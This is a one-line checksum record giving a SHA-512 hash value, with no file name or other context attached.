SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d